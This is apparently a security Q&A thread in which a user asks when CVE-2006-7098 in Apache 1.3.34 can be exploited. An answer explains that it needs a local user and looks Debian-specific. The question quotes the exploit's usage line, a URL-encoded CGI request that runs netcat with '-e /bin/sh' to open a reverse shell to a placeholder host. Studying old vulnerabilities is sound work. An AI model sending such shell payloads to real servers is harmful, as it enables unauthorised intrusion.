I'm studying the vulnerabilities of an old version of Apache, the 1.3.34. And I don't quite understand in what exact situation the CVE 2006-7098 vulnerability can be exploited. The README included in the exploit states that:

Local attacker can influence Apache to direct commands into an open tty owned by user who started apache process, usually root. This results in arbitrary command execution. Notes: Must have CGI execution privileges and service started manually by root via shell.

Usage: nc -vvv -l -p 31337 http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d

At the beginning I understood that the vulnerability could be exploited from another machine in the same network of the vulnerable server. So from this other machine (attacker) I:

  • compiled the cgipwn exploit and installed it in the cgi-bin of the attacker machine apache.
  • executed the nc command from the attacker machine specifying -p as the port where the attacker apache listens to, webserver as the attacker machine IP and myhost as the server with the vulnerability.

But I've not succeeded: the command just doesn't return anything.

So, after rereading the exploit info several times, I've certain doubts about the phrase local attacker: does it mean that the vulnerability can only be exploited from the same machine where the vulnerable Apache is running? In that case I understand that the attacker should have a priori the credentials of a valid user in the machine with permissions to manage the apache (which would reduce quite a lot the applicability of the attack).

Could any body shed some light on this?

1 Answer 1


"Local attacker" means local to the machine. The official CVE states "local users" which is even more specific. Futhermore, this looks like a Debian-only (perhaps systems build on Debian as well) issue. It also looks like this problem was the result of applying a patch to Apache. So you'll need the right version of Apache as well.

Of course, the right solution is to use a supported version of Apache and apply all security patches promptly.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .